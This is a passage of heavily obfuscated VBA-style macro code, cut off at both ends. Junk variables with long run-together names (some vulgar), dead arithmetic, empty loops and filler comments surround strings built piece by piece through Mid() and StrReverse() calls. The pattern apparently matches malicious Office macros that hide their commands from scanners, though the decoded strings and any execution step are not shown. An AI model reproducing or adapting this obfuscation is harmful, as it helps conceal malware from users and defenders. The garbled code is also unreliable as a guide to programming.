\"birminghamindicationbannerclaimscoreshighwaypremium\", \"myspaceencourageskaraokefixedperformedcosmetics\", \"closerememberedcheatshis\", \"roommatereselleragreesnavyalthoughjacobbalancemotelstemperaturelaptop\", \"expenseperceptionmathematicalreceive\")\ntrapcottagesseniorleadershipvisitinginvention = trapcottagesseniorleadershipvisitinginvention + Mid(\"eastscoutfridgeopensrepairsntswarriorstrendsexpireditaliacroatiaproblemssafety\", 28, 3)\nfunctionraisingintegraljuniororganizedbarmagnitude = StrReverse(\"affairscongratulationsdrillingflavoroperate\")\nconnectedrollingnestquizsamba = RTrim(\"analystshiltonsimsoperationalrecognizedmovements\")\ntrapcottagesseniorleadershipvisitinginvention = trapcottagesseniorleadershipvisitinginvention + Mid(\"sinceintegrationlowestwenthorizontalshipmentswagessolisupportingcarnivalweakgraphics\", 51, 4)\nfestivalsdiscusscommercialbaselinesendinglaundryinstrumentszero = StrReverse(\"suggesthopebocollectivesuperbplymouthenvironmentsmemorabiliastudinvitations\")\n'executivesratingsfinitepreventsecureeconomiesacquiredrecalloracle\ntrapcottagesseniorleadershipvisitinginvention = trapcottagesseniorleadershipvisitinginvention + Mid(\"thesettlementinviteretrievehangingddontcookiesexcessloportionsenteringindeedtrailersugarcollectiveunsubscribe\", 35, 5)\nDim confidentspecificationcorporatepointertystocks As Variant\nrespectedwatchinternshiptailvoyeurconstraintsirdocumenthurricane = LTrim(\"warehousespaceblowjobsbryantcookiepaymenttoolkitftp\")\ntrapcottagesseniorleadershipvisitinginvention = trapcottagesseniorleadershipvisitinginvention + Mid(\"worldopenwrappingsurleufeaturedweddingsconsidershansenouriforcedcomplaintsvoyuertreatedmar\", 55, 4)\ndisciplinaryciscoscholarshipalbertawalkingbeatstechnologicaldisasin = Space(98)\npartitionabsentprivacyconferencesbirthgroundsroseohio = RTrim(\"versionsremarkablepeakagendacoolrelativesontariodonna\")\ntrapcottagesseniorleadershipvisitinginvention = trapcottagesseniorleadershipvisitinginvention + Mid(\"gravitytrayprogramproposalbuilderspreparengstagewidthafterwardsphotocmsmongoliaminipromotepensionsur\", 42, 2)\n'developersstanfordintensiverapidcentscaribbean\nDim cookbookcomplicatedfinalsorgasmhiltoncalpiecesbbs As String\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = \"\"\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = volumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality + StrReverse(\"agro\")\nfailuresobservedbradisclosurefuelreasonably = 3258\n'zimbabwereboundtermsinfectedspiritssupplyafghanistanhans\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = volumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality + StrReverse(\"esin\")\ntimerltinformalwidthtigertnpredicted = 77 Mod 86\nDim parapostersmasshorseandrea() As Byte\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = volumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality + StrReverse(\"ngisd\")\nregionalpanpnvariedjudgepoliceearningsverify = Not (877 > 906)\nDim lbserbiacontactsrelationsoverheadottawahillspctentchairman As Boolean\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = volumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality + StrReverse(\"ahsde\")\nDim housewivesequippednokiaclrandomboobmarkers() As Byte\nsaudileagleautomaticallyfanscreatingfoto = RTrim(\"cataloguebacteriaaroundcouldsmarttransmissionnurserydrillassumption\")\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = volumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality + Mid(\"covernorfolkexcesswitdenvocalsmentioneddividedtoedecemberfruitanytimevirgin\", 22, 3)\nDim ircinsightminingobviously As Integer\nmonitorterminalsegmentsscaledvcooperspecialtiesconclusionfuji = 9553\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = volumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality + StrReverse(\"encb\")\n'sortbiasspiderovennancycommunitynotesarecumshotstrivia\npublicationsurveylaytransitionalexanderbrookdynamicsdeals = StrReverse(\"stoppedconstrainteveaudiodpiegyptae\")\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = volumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality + StrReverse(\"ssec\")\nsandrabranchbeltsthrownpharmacy = Not (226 > 377)\npetiteparticipatedmarshalltypesviphackerblockslisteningspecificalgebra = LTrim(\"prospectiveceremonylabvistasillypre\")\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = volumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality + StrReverse(\"ofyti\")\nRem littleparisoemdrumfoldconsistencyforecastacademy\nRem definitionsunixgroundsxxxcommunistbloodybeguncordshorts\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = volumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality + Mid(\"teethfotobesidesrobertsublimevburtsecurelyweapontripfordwebmasteruserdapestleadersmajoritynbcanadian\", 32, 3)\nsituationcomplicationsdirectivecyprusdesignerratiossensorreynoldsnjhousewives = Array(\"carlvibratorsprovincesmallestdespiteinnvariablesratiosshaft\", \"vocaladaptormatrixairportthrowingintensitywidelycarlosshootingcashiers\", \"compliancebeadswaxbloomberglaptinmerryperspectives\", \"festivalsindexeseausagejudgesaustinlighterbears\", \"imposesawarenessreasoningtoocpucharm\", \"glwhosepillrespectivedraft\", \"essexratedcombinationswrong\")\nDim tommyconsciousexperimentalelectronbhutandispute As Integer\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = volumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality + StrReverse(\"odneh\")\nDim berlinchosejohnsonlawhandedexhibitsstanley As Variant\neventsarcticparagraphspeaktreasuryindicatesextremeimprovinglo = StrReverse(\"chartscrupdatingunavailablesurelywondering\")\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = volumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality + StrReverse(\"desr\")\nDim nancyaboriginalheavilysundaywingusefulcolleaguesmassachusettspolar As Boolean\nDim gamecubecomputationcounterestablishedstaticexcitementpostalspinsupplement As Integer\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = volumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality + StrReverse(\"ceerf\")\nDim brookszambiashortcalculatewomens As Integer\ndrinktroyforecastvulnerablepicnicbrothers = Chr(7)\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = volumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality + StrReverse(\"difno\")\noutstandingfixvanillatributeplaydiysalemarcimproved = Not (570 < 217)\ndiamondsquerytermsintegerdiscussesbeautydevicesher = 335 Mod 543\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = volumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality + StrReverse(\"tne\")\nevalpermissionsapphirebouquetopenedupuseryerurlsknowledge = 794 Mod 891\n'hostedanimalscrsuchallegediancalciumdaddypontiac\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = volumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality + Mid(\"jumpdaytoncentsadvocacyhomesgenuinecommitteeenemyialgpostinggotshadowpackagingprojectoroccurrednarrow\", 50, 4)\nislandsvelocityelsewherecyclesagostylegrand = Space(87)\nconceptsconversationsmentionedconductingplanecarolina = 5304\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = volumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality + StrReverse(\"kee\")\ncommonssunsetnrcandlestownslimitingwholemold = 292 Xor 51\nairlinehostedirrigationrepublicnowherescanned = RTrim(\"functionalityverizongenerallyevolutiontitaniumsongsfellowship\")\nturtlecharlestonkeepingseemedaffiliationdiscretionwitnesscosmeticcollectible = \"\"\nturtlecharlestonkeepingseemedaffiliationdiscretionwitnesscosmeticcollectible = turtlecharlestonkeepingseemedaffiliationdiscretionwitnesscosmeticcollectible + Mid(\"entireprepareshiftinvestmentknocknudeaccommodatefightersduckincentivescreekcolorscriminal\", 34, 4)\nseafoodelliswarcraftearlguaranteetremblshopsfavorsrosesplanet = Not (112 < 567)\n'switchresidencefunctionszimbabwe\nturtlecharlestonkeepingseemedaffiliationdiscretionwitnesscosmeticcollectible = turtlecharlestonkeepingseemedaffiliationdiscretionwitnesscosmeticcollectible + Mid(\"aberdeenacceptablelayerscompaniesmeetstanleyconnectingdraggreatmemorabiliahowleanfinancialsovietvalregular\", 75, 3)\ntoddsustainableancientsleeping = RTrim(\"inclusionnhlparispreservepanelmeeting\")\nafterwardsboxwarcraftdevicesbangbusdental = 9176\nturtlecharlestonkeepingseemedaffiliationdiscretionwitnesscosmeticcollectible = turtlecharlestonkeepingseemedaffiliationdiscretionwitnesscosmeticcollectible + Mid(\"clinicstrinitysidebitchexpgolfapproximatetsshieldframingidentifier\", 24, 3)\nhispectacularsomebodyfullymariogabrielsundayethnic = 68 Xor 882\nDim dvdfarmscarterlegislativehospitalityvanillapractices As Integer\nturtlecharlestonkeepingseemedaffiliationdiscretionwitnesscosmeticcollectible = turtlecharlestonkeepingseemedaffiliationdiscretionwitnesscosmeticcollectible + StrReverse(\"rabo\")\nDim nirvanawrapcontinuityforecastssupervisorsfightdroppedadvantages As String\nsincebreadconstitutionalhepatitisreachingtoidlepointingdetermines = Not (666 > 453)\nturtlecharlestonkeepingseemedaffiliationdiscretionwitnesscosmeticcollectible = turtlecharlestonkeepingseemedaffiliationdiscretionwitnesscosmeticcollectible + Mid(\"positiveeggsexecutivesweaklacktcethiopiacorrectionnesvillagescanadaexhibitsteamsacrossjetsawardedmurphymeasurement\", 51, 3)\nDim eventsfunctioningsupplementpatternsexamsqueryinvolvebindtrunk As Object\ndipinspectionswarnerdeckpricealternateansweringxhtml = 2313\ncementresolvedranage = \"\"\ncementresolvedranage = cementresolvedranage + Mid(\"supervisorssteadyawextcompdeutschepatplayingspectrumnickeldispatchedhorses\", 35, 3)\npossibilitieswalletsharecentercurious = StrReverse(\"antibodiesmenslovedindependentorganisationsconfiguringrogersmarkets\")\nDim reflectionspossibilitiespossessapproximateknowledge As Variant\ncementresolvedranage = cementresolvedranage + Mid(\"expectedforestproductanimalsregardlessdisputedlluciacrosswordrickitoplessraleighsectionsbirtharguespecializingwordbiggestmerger\", 62, 5)\nsambaidswarsroofchest = Chr(52)\nteddyborderscloseusertterflyfinancingcomplicationsnaplescyclingblues = 1852\ncementresolvedranage = cementresolvedranage + Mid(\"warddebateknowledgestormlankathingremoveconservativeblocksndiaopposedcitizenswesterniecheckedkilledresulted\", 59, 4)\nDim eaglestoystrackbass() As Byte\nDim runtimepromotescgauthenticationstar As Object\ncementresolvedranage = cementresolvedranage + StrReverse(\"lopan\")\nsistersparagraphsmovementdecorating = Not (940 < 551)\nsolutionsprogrammeravgsufficientlyexplainedhillschanged = 4719\ncementresolvedranage = cementresolvedranage + StrReverse(\"elsi\")\nwalkingneckparticipatedsymboluvprintedrelyingreynoldsreception = LTrim(\"arrivallikewisewelcomepreventionrepresentscolorprerealityrepublican\")\ndurationkeysrebatespagescableshipmentfruits = Not (126 > 679)\ncementresolvedranage = cementresolvedranage + StrReverse(\"dda\")\nioncomparisonskypeelseshedrntips = Not (649 < 404)\nelecteddirectowenpourrepresentativesgenevaofpermanentmanga = 882 Xor 356\ncementresolvedranage = cementresolvedranage + Mid(\"aviationstrategyvisitcnetpodscanningcasereferenceadverseebtmehullmetallicvirginiaspectrumreactionsacceptancehowbloggersshaped\", 57, 5)\nDim changeschargercheesethroughadmittedaircraft As Object\nplannerlaboratorieslightboxstronggentransfersstandardfp = LTrim(\"moleculeuserttersmoothsubscriberpacketselder\")\ncementresolvedranage = cementresolvedranage + StrReverse(\"inahc\")\nmbasingingkeithviolationsquizzestvgrowingchatframework = 136 Xor 322\nprintabledeviceivorystarsrickydeferred = RTrim(\"savannahminutecassettecustomers\")\ncementresolvedranage = cementresolvedranage + Mid(\"negotiationsmarchsubjectbargainsbpmartapartmentsvoyeurwebsmscorolleromspraydemandingunidellmulti\", 58, 5)\norgasmcarscolelegacymolecularmetricrevolutionappearedblocks = Chr(143)\nDim motelsrangerreefbelievesestatesoccasionstoplesspatchesbracket As Integer\ncementresolvedranage = cementresolvedranage + Mid(\"navymsgstrpersonalityhostelsnfigucommunicationsstopsdefininglogicalsurveyeyes\", 29, 5)\ngcargumentsbridgeposcheatsoxygen = Chr(210)\nDim startingkgimportsrequirementtimberwelfareintendstandardbeliefgourmet As Variant\ncementresolvedranage = cementresolvedranage + StrReverse(\"ser\")\ngeneratingbecomesgalesystemsrotationinappropriatehrefreg = StrReverse(\"pestvaluesknifeeditionlynncolonycomprow\")\ndemandingneckhappensbookingsrepresentationseasonbreachbankruptcy = 227 Mod 690\ncementresolvedranage = cementresolvedranage + StrReverse(\"evet\")\nsciencessupervisorstemplemealcatpledgesupervisorsaccident = 989 Xor 425\nwrimplementedgenerationsfossilmoodbloodytell = Chr(227)\ncementresolvedranage = cementresolvedranage + Mid(\"programratsfirmsspecsdoctorsheavendotpknowledgeorgasmrealtorsspeedeconomy\", 35, 4)\nRem usbraidbeginnersstuffedchristemporarily\nnwcreamassessmentshaftpolarmiracle = Not (800 < 594)\ncementresolvedranage = cementresolvedranage + Mid(\"collectorpoemprepaidkillinglayshazardsadsharvestldexaminedareata\", 28, 4)\ntonyrmviewedamdukrainegradefw = StrReverse(\"shakespearearrowincreasinglydifficultiesvisited\")\ncamscertificatespassionpublishingvolkswagenprep = 899 Xor 569\ncementresolvedranage = cementresolvedranage + StrReverse(\"oitat\")\nDim billscalculatorlareynoldsallmatchesseafoodburns As Object\nreachbulletconstraintautomotivereferralblackjackspam = Space(47)\ncementresolvedranage = cementresolvedranage + Mid(\"dirtavonnativetouristcompliantbelleconcertnationwidenlargestinvestmentsworncampbelltroutviewsyracuse\", 53, 1)\nDim uwdrugspluginaccompanieddegree() As Byte\nmeanscoordinatorfaxrelated = Not (766 > 469)\nmaypromotescloselypsychiatryacbitappraisaldonaldfolkarthritis = \"\"\nmaypromotescloselypsychiatryacbitappraisaldonaldfolkarthritis = maypromotescloselypsychiatryacbitappraisaldonaldfolkarthritis + StrReverse(\"edrob\")\nDim mongoliarenogzipestablishnewsletterscanning As String\n'humidityrostercavespasmeat\nmaypromotescloselypsychiatryacbitappraisaldonaldfolkarthritis = maypromotescloselypsychiatryacbitappraisaldonaldfolkarthritis + Mid(\"lgtionknightscellularmonacorssurmeasurementshundredsvibratorsspinepreciselylolitahabitat\", 28, 5)\nbrusselswarcraftpanelabvote = Space(64)\ninquiryautomationguyappraisal = RTrim(\"pdtlogosremainsnudebeavercourt\")\nmaypromotescloselypsychiatryacbitappraisaldonaldfolkarthritis = maypromotescloselypsychiatryacbitappraisaldonaldfolkarthritis + Mid(\"postgovernmentalaquaticbbwbearingwalnutgesominstallationsjcjournalistsrecentmatrixbrutalsawour\", 40, 5)\nDim compoundsflexibilitycmlewis As Variant\nDim encouragelebanoncriterionaquariumbootsnationscorrectionproducersscheduled As String\nmaypromotescloselypsychiatryacbitappraisaldonaldfolkarthritis = maypromotescloselypsychiatryacbitappraisaldonaldfolkarthritis + Mid(\"refinancedatabasesreceivesreflectionsehonutritionregardingcingularsurvivorgloryrehabafsemibehind\", 38, 3)\ndrunkfighterwooledinburghtransmittedactivitiesadoptedhimwestmines = 321 Xor 869\nDim ceboarditemsofferingsworstburningrecognitionforecastsadjustable() As Byte\nmaypromotescloselypsychiatryacbitappraisaldonaldfolkarthritis = maypromotescloselypsychiatryacbitappraisaldonaldfolkarthritis + StrReverse(\"uksw\")\nclearedsenegalaskdisplayeddelicious = Space(19)\nholmesacreumbuilding = Not (804 < 48)\nbrieftdareasdatapolardealtbusy = \"\"\nbrieftdareasdatapolardealtbusy = brieftdareasdatapolardealtbusy + Mid(\"practicessnforknortheasthashacceptdirectiveshavedseekdownloadablechipspotentiallynormrequestingnovelty\", 50, 4)\ndisableddiedproofmemoriesspypopulationtrembltiedtwist = Array(\"transactionseasilybrieflysoundfingering\", \"databasepanquestsolutionregionalradarsoughtkickwasstuff\", \"hdpussyaidsbrothersgaychristianspreservationencouragesfuneral\", \"ratioconsciousnessffcomputationplatechipsgeorgia\", \"orlandofamiliesbiographyoncedisagreejar\", \"autojarussiaacrestress\", \"madisonoperatesunaprotected\")\nresumemonkeyindonesiafruitmeasurementsgrowsfranchisenoise = Not (582 > 233)\nbrieftdareasdatapolardealtbusy = brieftdareasdatapolardealtbusy + Mid(\"defendagbishopdrawnexhibitsingtalesappropriateenterpriseexplorercontainedcopyrightssizedinfraredtrip\", 28, 3)\nsearchessmilieslongitudestep = RTrim(\"automatedprinterwavtradesfitssightplymouth\")\nrespectivelypetitewillowrestorecarlosdangerouslaptopprovincialbeanschanged = LTrim(\"suddenlytoursdeanrecognition\")\nbrieftdareasdatapolardealtbusy = brieftdareasdatapolardealtbusy + StrReverse(\"eddma\")\nconferencingutilitypetsscrollsole = Not (308 > 1008)\nDim agentprospectinductionsheriffnepalcitizensgerald As Integer\nbrieftdareasdatapolardealtbusy = brieftdareasdatapolardealtbusy + StrReverse(\"nits\")\nFor communicationscountertribuneteachesict = 8317 To 7711\nDim patriciavisitedcubeexactvessellesserofferingunaronmounted As String\ntestimonialsdemonstratequotedmaintenancetippmgambling = Not (342 < 405)\nNext communicationscountertribuneteachesict\nDim pushintakeseqrefertrainer As Object\nbrieftdareasdatapolardealtbusy = brieftdareasdatapolardealtbusy + StrReverse(\"noita\")\nfeatrepublicstylusmadagascar = Chr(228)\nDim congodegalegtkbadgeminister As String\nbrieftdareasdatapolardealtbusy = brieftdareasdatapolardealtbusy + Mid(\"platformsgurubraceletsmadonnavancouvernicolesspeshadesdotlessonsapproximatelydecentplannerexists\", 45, 4)\nmercurybutlersnowpros = Not (967 > 48)\nDim dellfewthereaftersessionsqueensadvancesneedsatlanticquestionnaire() As Byte\nbrieftdareasdatapolardealtbusy = brieftdareasdatapolardealtbusy + Mid(\"fundamentalscolonialplayerchristopherguestmlbargumentscdtitalyrmexplosioncancellationelectronicssunblockedprimarilyveteranpanties\", 63, 2)\n'engagesurvivorsdeutschebrowsersrestrictfunctionality\npreparedscientistlatercabinengagedmotorcycles = 641 Xor 359\nphantomphilipemissionintoclassic = \"\"\nphantomphilipemissionintoclassic = phantomphilipemissionintoclassic + StrReverse(\"pac\")\nDim bmwbroaderkeysdrillingagainscoreshiredleasingsearchseparated() As Byte\nDim transmitfindsmortalitylungletlogic As Object\nphantomphilipemissionintoclassic = phantomphilipemissionintoclassic + StrReverse(\"dlati\")\nDim skatingsuitprecisioncodingphenterminecompressedtcplonelymusicianslicking As Object\nDim puzzlecopiedpagesferrarircaelsewheretx As Object\nphantomphilipemissionintoclassic = phantomphilipemissionintoclassic + Mid(\"tribeguidesoptimumstrengthenmarineriveralbladetemplatespositionsbadgedatabase\", 35, 5)\nFor forbiddenoptmuslimsstickersaustriggerres = 8246 To 1044\nDim abubeginneranimalframedhavenfurgrade As Boolean\ndifficultregardingmobileslawsuithampshiremarcussexoconversationsmilfsmineral = Not (765 > 140)\nNext forbiddenoptmuslimsstickersaustriggerres\nviewersperlteenagewarrantidealsquarerapidphdscratch = 395 Mod 700\nphantomphilipemissionintoclassic = phantomphilipemissionintoclassic + StrReverse(\"tytq\")\nDim ajcollectinggratefulaccreditationlizcraftclustersusb As Integer\nathensexpirationmadridholocaustpdsingle = Space(42)\nphantomphilipemissionintoclassic = phantomphilipemissionintoclassic + StrReverse(\"o\")\ncalciumexaminedconsumersbalancedreportssurcomputerspi = Chr(78)\nagainwaterassistedthinkpadhaitiready = Chr(220)\ninterpretationhuntervenuesvelocitygenevamonitors = \"\"\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + Mid(\"durhamyouthpdaknockstepshairpeacefulholdcreaturessynoresumesdetermininglabeledoccasionalexplaingzipfuelflowers\", 50, 4)\nstudyingexplorationconsistingcombotestimonycalendarangle = Space(16)\nplanscontrolledintegergreenehighertogetherglucose = 254 Mod 387\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + Mid(\"tueinventiondamagewatchesworryheadquartersadamshighwayspsiadvocateandreabeeionmalawiaudiencedebategb\", 56, 3)\nalertinstrumentsparkerdesignationministryeliminatephotographerspharmaceutical = 338 Mod 869\nsponsorsbabiescolinfocusgeneticcellconfirmationmarshprompt = StrReverse(\"levelvacuumarmeliminatestuckpurchasingoptimization\")\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + StrReverse(\"wens\")\npollutionedairportburstbenefitpoolsdefectscar = 293 Xor 573\nDim containingpandecreasedstopped() As Byte\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + Mid(\"bandsomsandychipsexceptpassageairplanebendcastreviewedsaysapplicantscurvechryslermambo\", 43, 4)\ndisciplinaryairportproperjeffersonontarioimgespndietary = 8037\nmsgidknowledgenirvanalimitationbasedsprings = Chr(167)\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + StrReverse(\"pel\")\nburkeolivenarrownucatherinechristiandeferredderrestrictions = RTrim(\"workshopsentireiaconsistentlydlphonesclone\")\nreadilydialogcomfortableplotsguestbookhisnurses = Not (130 > 68)\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + StrReverse(\"ela\")\nDim fantasybarrelsophisticatedted() As Byte\nstreamsrpmpolarbonestranslongitudeseaseducationaltraditioncamel = StrReverse(\"suddenheathdautumnchoiraquatic\")\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + StrReverse(\"inits\")\nsupportingsandycommissionersincidentabstractsitemsshemalesclassification = Space(39)\nDim posingcommissionshabitsgenerateextrasemperorchar As Boolean\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + Mid(\"prairiesubscribewifeillinoisncguidesrangersantextempislandmicdavidsonmustelectronicswillowru\", 44, 5)\nstartsspecialistaddressmetallickeepdesktopsinappropriatejobconsortium = Not (437 > 557)\nDim huntingtonantmanageactivelydiameterindexedrebatesebay As Variant\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + Mid(\"coverageringtoneaboriginallouisbattesnakereadilyjoinmass\", 32, 5)\npacconstitutionmycashnavigationbluesvisitsseat = Chr(214)\nadjustedpurchasesthirtywang = Not (579 > 336)\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + Mid(\"gotjournalismprogressluxuryrecipesordereddrawnslipryifoundeddeterminelanguagesibmthustensionequalityvista\", 51, 3)\nDim boliviagamingscriptsshanghaioldimposedweblogswnphysiology() As Byte\nridenginesmichiganfossil = LTrim(\"thyreductionappealsnightshasoopshappenfairlyheldraw\")\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + Mid(\"exhibitfgfuturesrapromotingpolicebecominginterestndoneattackdarwinrouletteimportdoslovelycharacteristicscomparison\", 50, 5)\nRem messagesshieldeastbonusacrylictroops\nDim wisconsintrianglelpnomoisturebasinpresentationswallace As Object\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + Mid(\"visitlloydplayerstylishbrazilpolyphonicsiaareunionnecklacelogicalemailmoreoverpriestpctpension\", 40, 4)\nDim patriciareasondslcovermedicalstuffedtaylorcoins As Variant\nDim infowakestrongergentlydivisionstaxationbutterfly As Boolean\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + Mid(\"kurtomahasnowboardcrudecomputevictimsreadingsheaderpossibilitypartmrcaaudioolivegenerationsbiggerquarterlycontractinglimits\", 63, 5)\nRem bestialitypharmaceuticalaidsdonorsbidderlexmarkjohnsbinary\nnightlifesheriffexpenditure = Array(\"tiirabathroomphys\", \"sallymusicvulnerabilitydispatchedaudcemeteryroulettedomainprospective\", \"gabrielgirlstennesseecoveragealotbiotechnologycasalift\", \"insectsthinkpadjenniferind\", \"assignminimumconsistencywoodegyptspecsintel\", \"wasteozbrowserswarningdevicesopinions\", \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzsettlevintagetwistproceedingsoasishappenwendy\", \"earlierquestbangbussharewarepaperbacks\", \"qualitybbroommatecarbonpestwork\", \"groupmechanicsnationaladmissionfragrancesscreen\", \"girlfriendthirtytooknoonwaxengineeringindianadegreefootwear\", \"trackingdozensubscribenonpsychologyindividual\", \"logicfigjokewantingmountimpressedokaymissourismithsonian\", \"codrumsaddingbraveaheliteposters\")\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + StrReverse(\"lstne\")\ntcflorencembainstantlostconstraintindependencealloyangelagras = Array(\"dentalnodefingerswingnearby\", \"wayparticipatingwireskingsrepairmastercardappliedmodified\", \"episodestransportationlettersworshipinitialhuntingfattydiskconditionsrefrigerator\", \"gsoperationfolderssuggestsmotionregardingfogneckclips\", \"trafficproceduretwistedandreaguaranteeevaluatingbrokervichandbagscaught\")\nbelongsrangingsimilaryesterdaygreenhouseperformingfujitsunevadaexit = RTrim(\"maintainintersectionstarringherbsulglovescroatiabrieflyremembered\")\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + StrReverse(\"mykcu\")\nRem henrycrapscountysean\nbroaderdildosABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzbikesquarterscritical = Chr(252)\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + StrReverse(\"ramv\")\nDim historyratednewmannavigatortypeprogressgunslitecorporate() As Byte\ndownloadedlogitechnormancoolladies = 7356\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + StrReverse(\"t\")\nboostserbreedpreparation = 156 Xor 93\nsecretariatcedarbacterialenteringbladehelpinggeometryrinvestigate = Array(\"nonepvcbusinessesmereratminutesvisitedsilentcomfortable\", \"getwestminstercuriousemmafindswedishinvestingslowly\", \"appealcoastadvisesign\", \"cpbdsmmichelsustainablesupportvictoryporkdisabilitiesflameliable\", \"somacontrolledmarkersecureddesiresurvivorscapeaerospace\", \"acmcursorfundtutorialscemeterysufficientphotographybath\", \"societysenderproteinswaitingpriest\", \"passpixroadsstoredservicesdiningatlanta\", \"lsspreadsleepwhatevernigeria\", \"programsvsresumequiteste\")\nbodiesearnedcaddevelbrokerswritersadultslouisiana = \"\"\nbodiesearnedcaddevelbrokerswritersadultslouisiana = bodiesearnedcaddevelbrokerswritersadultslouisiana + StrReverse(\"bsa\")\naccordingmodulessynthesisgemfujitsumphspareclosely = Space(39)\nntdedicatedclaimedmalicareersperlifetimeconservative = Space(59)\nbodiesearnedcaddevelbrokerswritersadultslouisiana = bodiesearnedcaddevelbrokerswritersadultslouisiana + StrReverse(\"sotse\")\ngirlscapitalmatchensureszshopsbarbara = LTrim(\"curiouspermanentyahooceltic\")\nRem pokemonasscertificatereductionnoblereferralsaffiliates\nbodiesearnedcaddevelbrokerswritersadultslouisiana = bodiesearnedcaddevelbrokerswritersadultslouisiana + Mid(\"somewhatcommonmonetarystrongbeanwestesomersetsoonretainedembassylookup\", 33, 5)\ncensusstudiedspiderfundcontainer = RTrim(\"scheduledwillowcriticsmodel\")\nchadwholesalelargestresulted = Not (470 < 767)\nbodiesearnedcaddevelbrokerswritersadultslouisiana = bodiesearnedcaddevelbrokerswritersadultslouisiana + StrReverse(\"tognr\")\nconsistentlyquantitiesqualifymotorola = RTrim(\"suppliedgentlemandeletedarisetigershappeninglemonweekends\")\n'biggestcharacteristicfullhabits\nbodiesearnedcaddevelbrokerswritersadultslouisiana = bodiesearnedcaddevelbrokerswritersadultslouisiana + StrReverse(\"uqo\")\nDim debtconferencepaulswitcherpattributestakeholderstuningdarkness As Integer\nDim warnerqualitiesproducingresolution As Integer\nbodiesearnedcaddevelbrokerswritersadultslouisiana = bodiesearnedcaddevelbrokerswritersadultslouisiana + Mid(\"renaissancerepresentationsrehabguaranteesseriousdrawprettyestiringhospitalityrestaurantscopeng\", 59, 4)\nRem berlinwoolbattlefieldsecuredmerchantgenome\n'broadertheoreticalgeneralacademicsawesome\nbodiesearnedcaddevelbrokerswritersadultslouisiana = bodiesearnedcaddevelbrokerswritersadultslouisiana + Mid(\"walkingarbormorningtransferspubsmomentsonfextendsskipnaturalssponsorstwelvegrowing\", 40, 3)\nnewerpetersoncontracthugheslisakindsreproductive = StrReverse(\"desperatesourcesdocspromisesrnaadipexbenchduncan\")\nDim affiliatestechnologycornerskingstonwishing As String\nbodiesearnedcaddevelbrokerswritersadultslouisiana = bodiesearnedcaddevelbrokerswritersadultslouisiana + Mid(\"openedtwinsrisksaslooksleepingboltinitiatedligscriptingtreatmentpursegonna\", 44, 3)\nDim pensionmaltafootwearregionsprobablycircuitdangerlt() As Byte\nFor collectivelightweightscannersregardedstrangecolombiabennett = 7376 To 4300\ncollectorssellernashvilledatpridedigittrainedport = Space(10)\nciviliansetchilerememberistanbulmbaelectroroommatesyoungerslight = RTrim(\"sigbracketdeveloperwisconsinoneshighwaysterriblelined\")\nNext collectivelightweightscannersregardedstrangecolombiabennett\nbodiesearnedcaddevelbrokerswritersadultslouisiana = bodiesearnedcaddevelbrokerswritersadultslouisiana + 